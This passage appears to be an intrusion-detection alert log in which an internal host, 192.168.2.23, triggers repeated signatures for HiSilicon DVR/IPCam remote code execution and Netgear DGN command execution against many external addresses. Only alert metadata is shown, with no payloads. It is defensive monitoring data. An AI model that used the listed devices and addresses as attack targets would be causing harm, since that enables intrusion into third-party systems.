SID:	2030488
Source Port:	51166
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 120.234.198.155

Timestamp:	05/16/24-16:39:05.693347
SID:	2030487
Source Port:	51166
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.30.120.178

Timestamp:	05/16/24-16:39:08.127249
SID:	2030487
Source Port:	53500
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 93.2.56.217

Timestamp:	05/16/24-16:39:14.529795
SID:	2030488
Source Port:	39932
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.30.120.178

Timestamp:	05/16/24-16:39:08.127249
SID:	2030488
Source Port:	53500
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 93.2.56.217

Timestamp:	05/16/24-16:39:14.529795
SID:	2030487
Source Port:	39932
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 122.195.120.192

Timestamp:	05/16/24-16:38:59.520070
SID:	2030487
Source Port:	35804
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.195.120.192

Timestamp:	05/16/24-16:38:59.520070
SID:	2030488
Source Port:	35804
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 158.104.140.248

Timestamp:	05/16/24-16:38:50.004285
SID:	2030487
Source Port:	55060
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 158.104.140.248

Timestamp:	05/16/24-16:38:50.004285
SID:	2030488
Source Port:	55060
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 202.123.158.222

Timestamp:	05/16/24-16:39:16.600097
SID:	2030488
Source Port:	48568
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 202.123.158.222

Timestamp:	05/16/24-16:39:16.600097
SID:	2030487
Source Port:	48568
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 69.3.236.249

Timestamp:	05/16/24-16:39:05.712630
SID:	2030487
Source Port:	52308
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 69.3.236.249

Timestamp:	05/16/24-16:39:05.712630
SID:	2030488
Source Port:	52308
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 18.22.2.90

Timestamp:	05/16/24-16:38:53.084730
SID:	2030487
Source Port:	53102
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 18.169.79.74

Timestamp:	05/16/24-16:39:05.715271
SID:	2030487
Source Port:	35574
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 18.22.2.90

Timestamp:	05/16/24-16:38:53.084730
SID:	2030488
Source Port:	53102
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 18.169.79.74

Timestamp:	05/16/24-16:39:05.715271
SID:	2030488
Source Port:	35574
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 184.125.234.150

Timestamp:	05/16/24-16:39:02.764200
SID:	2030487
Source Port:	35184
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 184.125.234.150

Timestamp:	05/16/24-16:39:02.764200
SID:	2030488
Source Port:	35184
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 221.60.251.191

Timestamp:	05/16/24-16:39:12.406630
SID:	2030488
Source Port:	48420
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.84.64.16

Timestamp:	05/16/24-16:39:02.748694
SID:	2030488
Source Port:	37432
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 125.141.55.203

Timestamp:	05/16/24-16:39:05.677856
SID:	2030487
Source Port:	48800
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 23.183.21.50

Timestamp:	05/16/24-16:39:05.678394
SID:	2030487
Source Port:	43456
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.84.64.16

Timestamp:	05/16/24-16:39:02.748694
SID:	2030487
Source Port:	37432
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 125.141.55.203

Timestamp:	05/16/24-16:39:05.677856
SID:	2030488
Source Port:	48800
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 23.183.21.50

Timestamp:	05/16/24-16:39:05.678394
SID:	2030488
Source Port:	43456
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.80.113.147

Timestamp:	05/16/24-16:39:14.525603
SID:	2030488
Source Port:	48100
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 188.80.113.147

Timestamp:	05/16/24-16:39:14.525603
SID:	2030487
Source Port:	48100
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 124.223.220.14

Timestamp:	05/16/24-16:39:05.693256
SID:	2030488
Source Port:	41030
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 124.223.220.14

Timestamp:	05/16/24-16:39:05.693256
SID:	2030487
Source Port:	41030
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 66.62.13.47

Timestamp:	05/16/24-16:39:08.127920
SID:	2030488
Source Port:	36928
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 66.62.13.47

Timestamp:	05/16/24-16:39:08.127920
SID:	2030487
Source Port:	36928
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 90.218.118.135

Timestamp:	05/16/24-16:39:16.576791
SID:	2030488
Source Port:	51330
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 90.218.118.135

Timestamp:	05/16/24-16:39:16.576791
SID:	2030487
Source Port:	51330
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 147.227.100.131

Timestamp:	05/16/24-16:39:08.044893
SID:	2030488
Source Port:	52602
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 147.227.100.131

Timestamp:	05/16/24-16:39:08.044893
SID:	2030487
Source Port:	52602
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 144.94.213.233

Timestamp:	05/16/24-16:38:50.069316
SID:	2030487
Source Port:	43036
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 115.72.103.63

Timestamp:	05/16/24-16:39:08.127214
SID:	2030488
Source Port:	45804
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 57.96.27.134

Timestamp:	05/16/24-16:38:59.609942
SID:	2030487
Source Port:	50864
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 144.94.213.233

Timestamp:	05/16/24-16:38:50.069316
SID:	2030488
Source Port:	43036
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 57.96.27.134

Timestamp:	05/16/24-16:38:59.609942
SID:	2030488
Source Port:	50864
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 115.72.103.63

Timestamp:	05/16/24-16:39:08.127214
SID:	2030487
Source Port:	45804
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 66.170.173.153

Timestamp:	05/16/24-16:39:05.693269
SID:	2030488
Source Port:	39222
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 146.32.22.51

Timestamp:	05/16/24-16:38:50.047486
SID:	2030487
Source Port:	54726
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 146.32.22.51

Timestamp:	05/16/24-16:38:50.047486
SID:	2030488
Source Port:	54726
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 120.60.53.184

Timestamp:	05/16/24-16:39:01.474345
SID:	2034576
Source Port:	52788
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 66.170.173.153

Timestamp:	05/16/24-16:39:05.693269
SID:	2030487
Source Port:	39222
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 194.83.49.171

Timestamp:	05/16/24-16:38:57.407571
SID:	2030487
Source Port:	54228
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 76.236.171.38

Timestamp:	05/16/24-16:38:53.013613
SID:	2030487
Source Port:	37926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 76.236.171.38

Timestamp:	05/16/24-16:38:53.013613
SID:	2030488
Source Port:	37926
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 194.83.49.171

Timestamp:	05/16/24-16:38:57.407571
SID:	2030488
Source Port:	54228
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 22.15.103.15

Timestamp:	05/16/24-16:38:53.403411
SID:	2024916
Source Port:	35476
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 41.129.67.104

Timestamp:	05/16/24-16:39:14.493344
SID:	2030488
Source Port:	39004
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 41.129.67.104

Timestamp:	05/16/24-16:39:14.493344
SID:	2030487
Source Port:	39004
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 182.89.181.1

Timestamp:	05/16/24-16:39:12.301270
SID:	2030487
Source Port:	46668
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 182.89.181.1

Timestamp:	05/16/24-16:39:12.301270
SID:	2030488
Source Port:	46668
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 64.190.88.168

Timestamp:	05/16/24-16:39:16.580439
SID:	2030487
Source Port:	46852
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 64.190.88.168

Timestamp:	05/16/24-16:39:16.580439
SID:	2030488
Source Port:	46852
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 151.166.239.111

Timestamp:	05/16/24-16:39:16.598478
SID:	2030487
Source Port:	43078
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 111.81.224.135

Timestamp:	05/16/24-16:38:55.198248
SID:	2030488
Source Port:	47462
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 151.166.239.111

Timestamp:	05/16/24-16:39:16.598478
SID:	2030488
Source Port:	43078
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 111.81.224.135

Timestamp:	05/16/24-16:38:55.198248
SID:	2030487
Source Port:	47462
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.41.227.135

Timestamp:	05/16/24-16:38:59.558037
SID:	2030488
Source Port:	35982
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 46.41.227.135

Timestamp:	05/16/24-16:38:59.558037
SID:	2030487
Source Port:	35982
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 82.188.144.91

Timestamp:	05/16/24-16:39:03.260011
SID:	2030487
Source Port:	37572
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.188.144.91

Timestamp:	05/16/24-16:39:03.260011
SID:	2030488
Source Port:	37572
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 41.206.33.115

Timestamp:	05/16/24-16:38:55.187260
SID:	2030487
Source Port:	43178
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 117.182.200.178

Timestamp:	05/16/24-16:39:14.528964
SID:	2030487
Source Port:	57574
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 41.206.33.115

Timestamp:	05/16/24-16:38:55.187260
SID:	2030488
Source Port:	43178
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 176.37.127.11

Timestamp:	05/16/24-16:39:14.492269
SID:	2030487
Source Port:	44336
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 176.37.127.11

Timestamp:	05/16/24-16:39:14.492269
SID:	2030488
Source Port:	44336
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 20.244.26.119

Timestamp:	05/16/24-16:39:16.581452
SID:	2030487
Source Port:	36758
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 106.241.70.168

Timestamp:	05/16/24-16:38:59.519386
SID:	2030487
Source Port:	46022
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 20.244.26.119

Timestamp:	05/16/24-16:39:16.581452
SID:	2030488
Source Port:	36758
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 106.241.70.168

Timestamp:	05/16/24-16:38:59.519386
SID:	2030488
Source Port:	46022
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 135.69.228.84

Timestamp:	05/16/24-16:38:53.099147
SID:	2030488
Source Port:	43802
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 135.69.228.84

Timestamp:	05/16/24-16:38:53.099147
SID:	2030487
Source Port:	43802
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 117.182.200.178

Timestamp:	05/16/24-16:39:14.528964
SID:	2030488
Source Port:	57574
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 94.198.81.232

Timestamp:	05/16/24-16:38:50.052449
SID:	2030488
Source Port:	44818
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 94.198.81.232

Timestamp:	05/16/24-16:38:50.052449
SID:	2030487
Source Port:	44818
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.131.64.211

Timestamp:	05/16/24-16:39:16.581452
SID:	2030488
Source Port:	47028
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 124.206.68.39

Timestamp:	05/16/24-16:39:05.707918
SID:	2030487
Source Port:	46566
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 78.131.64.211

Timestamp:	05/16/24-16:39:16.581452
SID:	2030487
Source Port:	47028
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 124.206.68.39

Timestamp:	05/16/24-16:39:05.707918
SID:	2030488
Source Port:	46566
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 19.161.148.119

Timestamp:	05/16/24-16:39:09.560423
SID:	2024916
Source Port:	38876
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.238.67.141

Timestamp:	05/16/24-16:38:57.304870
SID:	2030488
Source Port:	58854
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 35.154.196.81

Timestamp:	05/16/24-16:39:12.383644
SID:	2030488
Source Port:	41276
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 54.238.67.141

Timestamp:	05/16/24-16:38:57.304870
SID:	2030487
Source Port:	58854
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 35.154.196.81

Timestamp:	05/16/24-16:39:12.383644
SID:	2030487
Source Port:	41276
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 124.239.71.65

Timestamp:	05/16/24-16:38:55.176045
SID:	2030488
Source Port:	57406
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 128.175.35.86

Timestamp:	05/16/24-16:38:55.226415
SID:	2030488
Source Port:	58764
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 222.126.20.145

Timestamp:	05/16/24-16:39:05.705564
SID:	2030488
Source Port:	51720
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 142.49.139.222

Timestamp:	05/16/24-16:39:12.400946
SID:	2030487
Source Port:	46816
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 222.126.20.145

Timestamp:	05/16/24-16:39:05.705564
SID:	2030487
Source Port:	51720
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 142.49.139.222

Timestamp:	05/16/24-16:39:12.400946
SID:	2030488
Source Port:	46816
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 124.239.71.65

Timestamp:	05/16/24-16:38:55.176045
SID:	2030487
Source Port:	57406
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 128.175.35.86

Timestamp:	05/16/24-16:38:55.226415
SID:	2030487
Source Port:	58764
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 220.152.12.183

Timestamp:	05/16/24-16:39:14.514824
SID:	2030488
Source Port:	37356
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 220.152.12.183

Timestamp:	05/16/24-16:39:14.514824
SID:	2030487
